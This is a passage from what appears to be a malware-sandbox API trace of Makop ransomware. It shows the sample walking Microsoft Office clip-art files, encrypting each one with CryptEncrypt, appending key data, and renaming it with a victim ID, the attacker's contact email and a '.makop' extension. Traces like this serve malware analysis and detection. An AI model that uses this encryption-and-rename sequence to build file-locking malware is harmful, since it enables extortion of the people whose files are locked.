nNumberOfBytesToRead=0x1324, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1324, lpOverlapped=0x0) returned 1 [0138.952] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1330, dwBufLen=0x1330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1330) returned 1 [0138.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1330, lpOverlapped=0x0) returned 1 [0138.952] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.953] SetEndOfFile (hFile=0xf0) returned 1 [0138.959] GetProcessHeap () returned 0x48a0000 [0138.959] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.959] GetProcessHeap () returned 0x48a0000 [0138.959] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.959] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.960] CloseHandle (hObject=0xf0) returned 1 [0138.960] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1 [0138.961] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 63 [0138.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.961] GetProcessHeap () returned 0x48a0000 [0138.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.962] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0138.966] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.966] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.966] GetProcessHeap () returned 0x48a0000 [0138.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.966] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.966] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.967] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.967] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1384, lpOverlapped=0x0) returned 1 [0138.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390, dwBufLen=0x1390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390) returned 1 [0138.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1390, lpOverlapped=0x0) returned 1 [0138.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.969] SetEndOfFile (hFile=0xf0) returned 1 [0138.976] GetProcessHeap () returned 0x48a0000 [0138.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.976] GetProcessHeap () returned 0x48a0000 [0138.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.976] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.977] CloseHandle (hObject=0xf0) returned 1 [0138.977] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1 [0138.978] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 63 [0138.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.978] GetProcessHeap () returned 0x48a0000 [0138.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.979] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0138.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.983] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.983] GetProcessHeap () returned 0x48a0000 [0138.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.983] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.983] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.984] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.984] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x864, lpOverlapped=0x0) returned 1 [0138.984] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x870, dwBufLen=0x870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x870) returned 1 [0138.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x870, lpOverlapped=0x0) returned 1 [0138.985] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.985] SetEndOfFile (hFile=0xf0) returned 1 [0138.990] GetProcessHeap () returned 0x48a0000 [0138.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.990] GetProcessHeap () returned 0x48a0000 [0138.991] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.991] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.992] CloseHandle (hObject=0xf0) returned 1 [0138.992] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1 [0138.992] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 63 [0138.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.994] GetProcessHeap () returned 0x48a0000 [0138.994] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.994] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0138.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.998] GetProcessHeap () returned 0x48a0000 [0138.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.998] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.999] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.999] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.999] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1172, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1172, lpOverlapped=0x0) returned 1 [0139.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1180, dwBufLen=0x1180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1180) returned 1 [0139.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1180, lpOverlapped=0x0) returned 1 [0139.001] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.001] SetEndOfFile (hFile=0xf0) returned 1 [0139.006] GetProcessHeap () returned 0x48a0000 [0139.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.006] GetProcessHeap () returned 0x48a0000 [0139.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.007] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.008] CloseHandle (hObject=0xf0) returned 1 [0139.008] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1 [0139.008] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF") returned 63 [0139.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.010] GetProcessHeap () returned 0x48a0000 [0139.011] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.011] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0139.014] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.015] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.015] GetProcessHeap () returned 0x48a0000 [0139.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.015] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.015] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, 